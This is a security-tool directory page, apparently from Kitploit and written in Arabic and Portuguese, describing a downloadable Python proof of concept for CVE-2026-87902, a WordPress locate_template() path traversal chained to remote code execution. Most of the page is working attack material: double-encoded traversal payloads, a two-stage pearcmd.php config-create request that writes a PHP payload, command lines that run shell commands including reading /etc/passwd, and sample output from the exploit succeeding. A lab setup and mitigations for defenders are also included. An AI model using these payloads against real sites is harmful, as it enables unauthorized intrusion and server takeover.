Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-87902 — Python PoC يستغل CVE-2026-87902، وهو اجتياز مسار غير مصادق عليه في WordPress locate_template() يؤدي إلى LFI وRCE قائم على PEAR، مع وضع كشف آمن. | Kitploit
أدوات/GitHubGitHub/crowsec-edtech/cve-2026-87902
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولاتمختبرات وتدريب عملي
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

Python PoC يستغل CVE-2026-87902، وهو اجتياز مسار غير مصادق عليه في WordPress locate_template() يؤدي إلى LFI وRCE قائم على PEAR، مع وضع كشف آمن.

2منذ يوم واحدلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-87902 — PoC: اجتياز المسار غير المُصادَق عليه في حل قالب الصفحة في WordPress

ملف الاستغلال: exploit_locate_template_rce.py — Python 3.6+ (stdlib فقط).

خط أنابيب بأمر واحد: كشف آمن (تفاضلي LFI، بدون كتابة) →، إذا كان معرّضًا للثغرة، RCE عبر gadget pearcmd.php ينفّذ الأمر الذي تختاره (--command/-c). استخدم --validate-only للتوقف قبل مرحلة الكتابة.

يختبر CVE-2026-87902 في إصدارات WordPress بدون إصلاح الـ commit 5fde0bb7 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2، backports حتى 4.7.37).

CVECVE-2026-87902 (CWE-98، CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
المتأثرةWordPress 4.7.0 – 7.1.1 (جميع الفروع)
الإصلاح7.1.2، 7.0.6، 6.9.9 … 4.7.37
Fix commit5fde0bb7b9775523959094bf280cc54bfa78af51 (merge للـ changeset 63792)
الملفاتwp-includes/template.php (get_page_template()، locate_template()، _wp_is_template_path_allowed())
المصادقةلا شيء — لا مستخدم، لا cookie، لا nonce، لا plugin
الاعتماداتالاكتشاف والإفصاح: Robert Ressl

⚠️ للاختبار المُصرَّح به فقط. استخدمه في بيئات تتحكم بها (المختبر أدناه معزول) أو بتصريح صريح من المالك.


1. الثغرة

في الإصدارات بدون الإصلاح، التسلسل get_page_template() → locate_template() → template-loader لا يضمن أبدًا أن القالب المختار يبقى داخل القالب (theme).

قبل الإصلاح (wp-includes/template.php):

root@kitploit:~
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

بعد الإصلاح (commit 5fde0bb7):

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

سلسلة الاستغلال (كود المستودع)

  1. pagename و page_id هما query vars عامة — يُقبلان في body طلب POST مجهول. طريقة POST تجعل redirect_canonical() (canonical.php) يعود مبكرًا — فهو يعمل فقط في GET/HEAD، لذا لا يتم إعادة توجيه أي شيء.
  2. الـ traversal مزدوج الترميز (templates%252f%252e%252e%252f...) وينجو من sanitize: WP_Query::get_posts() (سطر 2191) يعيد كتابة pagename بـ sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() لا ينكسر عند %2F (formatting.php سطر 5768) و sanitize يحافظ على octets %XX (سطر 2395).
  3. page_id (سطر 2252) يستبدل WHERE ("$where ="، وليس ".=") — الصفحة الحقيقية تُحمَّل، بدون 404، ويبقى pagename الخبيث في كائن الاستعلام.
  4. get_page_template() يقوم بـ urldecode() متأخر ويبني page-<traversal>.php بدون validate_file().
  5. locate_template() قبل الترقيع يستدعي فقط file_exists() → الـ include يهرب من القالب.

الشروط المسبقة

#الشرط المسبقالسبب
1صفحة منشورة، متاحة مجهولًا، قابلة للاختيار عبر page_id وبدون custom templateيجب أن يُحلّ الطلب إلى Page؛ القالب المخصص سيأتي قبلها في التسلسل الهرمي
2دليل top-level في القالب النشط (child أو parent) يبدأ بـ page- (مثل: page-templates/)WP يضيف البادئة الثابتة page-؛ عبرها يدخل الـ traversal. يكفي وجوده وأن يكون قابلًا للاجتياز (يمكن أن يكون فارغًا). موجود في Twenty Twelve/Fourteen، Neve، Hestia، Sydney
3هدف .php محلي موجود وقابل للقراءةالـ loader يضيف .php ويتحقق من is_file()/is_readable()
4(فقط لـ RCE) pearcmd.php قابل للقراءة + register_argc_argv=On + دليل قابل للكتابة (مثل: /tmp)مسار PEAR→RCE: config-create يكتب payload الـ PHP على الخادم

2. ما يفعله السكربت

المرحلة 1 — كشف آمن (يعمل دائمًا أولًا)

ثلاثة POSTs مجهولة ضد الصفحة المنشورة — بدون كتابة على القرص:

الطلبpagenameالاستجابة المتوقعة (معرّض)
A — baseline—200، body عادي (~23 KB)
B — تحكمtraversal → ملف غير موجود200، body عادي (fallback page.php)
C — probetraversal → wp-content/index.php ("Silence is golden")200 مع body فارغ

التوقيع: C فارغ + A/B عاديان ⇒ الـ include هرب من القالب ⇒ معرّض للثغرة. الكشف يمسح تلقائيًا: أدلة القالب المرشحة (page-templates، page-template) × أعماق 1–12. النتيجة (theme-dir + depth) تغذّي مرحلة RCE.

مع --validate-only يتوقف السكربت هنا (exit 0 إذا كان معرّضًا).

المرحلة 2 — RCE عبر pearcmd.php (كتابة)

root@kitploit:~
Estágio 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → o traversal inclui /usr/local/lib/php/pearcmd.php
           → argv vem da query string crua (register_argc_argv=On)
           → config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)

Estágio 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data

تفاصيل التنسيق (كل القيود يتعامل معها السكربت):

  • POST، وليس GET: الـ body يحمل page_id + pagename؛ الـ query string تحمل حصريًا argv الخاص بـ PEAR (?+config-create+<root>+<out>).
  • Payload بدون أي علامة اقتباس: wp_magic_quotes() (load.php سطر 1290) يطبّق add_magic_quotes($_SERVER) و pearcmd يقرأ argv من $_SERVER['argv'] — أي علامة اقتباس ستصبح \' وتكسر الملف المُنشأ. كل string في PHP يصبح تسلسل chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • Request target byte-exato (http.client): البايتات الخام +، <، > في الـ query string هي argv — لا يمكن إعادة كتابة/ترميز أي شيء في المسار.
  • config-create يتطلب root path مطلق — الـ payload يُحقن كـ root نفسه (/<php>)، مسبوقًا بعلامة ___WP_RCE_OK___ التي تحدّد المخرجات.
  • RCE يجرّب depths بدءًا من المكتشف (الترتيب الداخلي 7، 6، 8، 5، …) وعدة مسارات لـ pearcmd.php (Docker الرسمي، Debian/Ubuntu، XAMPP) — اضبط بـ --pear-path/--output إذا لزم الأمر.

لا يوجد "upload": هدف الكشف هو ملف يأتي مع كل WordPress من المصنع (wp-content/index.php)؛ payload الـ RCE يكتبه الخادم نفسه عبر gadget PEAR، يعمل كـ www-data.


3. الاستخدام

root@kitploit:~
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

المعاملات

المعاملالافتراضيالوصف
--url, -u(إلزامي)عنوان URL الأساسي لـ WordPress
--command, -cidأمر shell يُنفَّذ على الهدف (يُتجاهل مع --validate-only)
--validate-onlyoffيتحقق فقط من الثغرة (LFI، يتوقف قبل RCE/الكتابة)
--page-idauto (REST، fallback probe)معرّف صفحة منشورة بدون custom template
--theme-dirيجرّب page-templates، page-templateدليل top-level للقالب يبدأ بـ page-
--probe-targetindexهدف probe الكشف، بدون .php (index → wp-content/index.php)
--depth0 (يمسح 1–12)عدد مقاطع ../
--pear-pathيجرّب قائمة داخليةpearcmd.php لمرحلة RCE، بدون .php (Docker، Debian، XAMPP)
--output/tmp/wp-pear-rceوجهة قابلة للكتابة لـ payload الـ PEAR، بدون .php
--timeout20مهلة لكل طلب (ث)
--insecureoffعدم التحقق من شهادة TLS
--verboseoffمخرجات مفصّلة لكل محاولة

المخرجات المتوقعة في المختبر

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

أكواد الخروج: 0 = تم التحقق/RCE بنجاح · 1 = غير مؤكد/فشل · 2 = خطأ (مثل: لم يتم العثور على صفحة منشورة). يصلح كفحص انحدار: في WordPress ≥ 7.1.2 لا يصبح الـ probe فارغًا أبدًا ويعيد 1.


4. المختبر (Docker)

المختبر المستخدم: docker-compose.yml.

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

لماذا تهم كل قطعة:

  • 7.1.1-php8.3: يجب أن يكون < 7.1.2 و php8.3 — في PHP 8.5، register_argc_argv يصبح افتراضيًا Off في SAPI HTTP و PEAR خرج من التوزيع، لذا مرحلة RCE لا تعمل (كشف LFI يعمل).
  • Tag rolling = فخ: wordpress:php8.3-apache اليوم ينزّل 7.1.2+ (مُرقَّع) و الاستغلال يفشل بشكل صحيح.
  • تغيير الصورة لا يُنزّل الإصدار: volume wp_data يحتفظ بالـ core؛ تغيير الـ tag يتطلب docker compose down -v ليعيد entrypoint نسخ ملفات الصورة الجديدة.
  • page-templates/ (fixture): القوالب الافتراضية (Twenty Twenty-*) لا تحتوي على دليل page-* — بدونه لا تُحلّ البادئة الثابتة page- أبدًا ولا يعمل أي depth. بديل عن bind mount: command: > مع sh -c "mkdir -p .../page-templates && exec apache2-foreground".
  • register_argc_argv=On: الصورة الرسمية لا تحمّل php.ini للويب، لذا يسري الافتراضي المُترجَم (On في php8.3). تحقق: docker exec <c> php -i | grep argc.
  • Depths في المختبر: الكشف يصيب عند 3 (page-templates/ → 3×.. → wp-content/)؛ PEAR يصيب عند 7 (→ / → /usr/local/lib/php/pearcmd.php).

5. القيود وملاحظة للمدافعين

  • النتيجة السلبية غير حاسمة (قالب بدون page-*، صفحة بـ custom template، open_basedir، WAF/proxy يحجب الـ traversal، page_id غير صالح).
  • الـ probe الفارغ يمكن أن يحاكيه WAF يستجيب بـ 200 فارغ — تأكد عبر السجلات.
  • التخفيفات: التحديث إلى 7.1.2+ (أو backport للفرع)؛ register_argc_argv=Off لـ SAPIs الويب؛ إزالة pearcmd.php القابل للقراءة في الإنتاج؛ تدقيق القوالب بحثًا عن أدلة page-* top-level؛ التنبيه في السجلات عند pagename يحتوي %252f/%252e (مزدوج الترميز).
  • PEAR هو فقط مسار واحد من inclusion→execution؛ أي .php قابل للقراءة ومفيد يمكن أن يكون هدف LFI (الكشف عبر --probe-target).

6. المراجع

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fix (branch 7.1): commit 5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792
  • Write-up و PoC للمكتشف: https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • الكشف التفاضلي (Hadrian): https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2: https://wordpress.org/news/

إخلاء المسؤولية القانونية

هذه المادة مُقدَّمة فقط لأبحاث واختبارات الأمن المُصرَّح بها. الاستخدام ضد أنظمة بدون إذن صريح من المالك غير قانوني. تم تطوير الاستغلال والتحقق منه حصريًا في مختبر محلي معزول.

تنزيل الأداة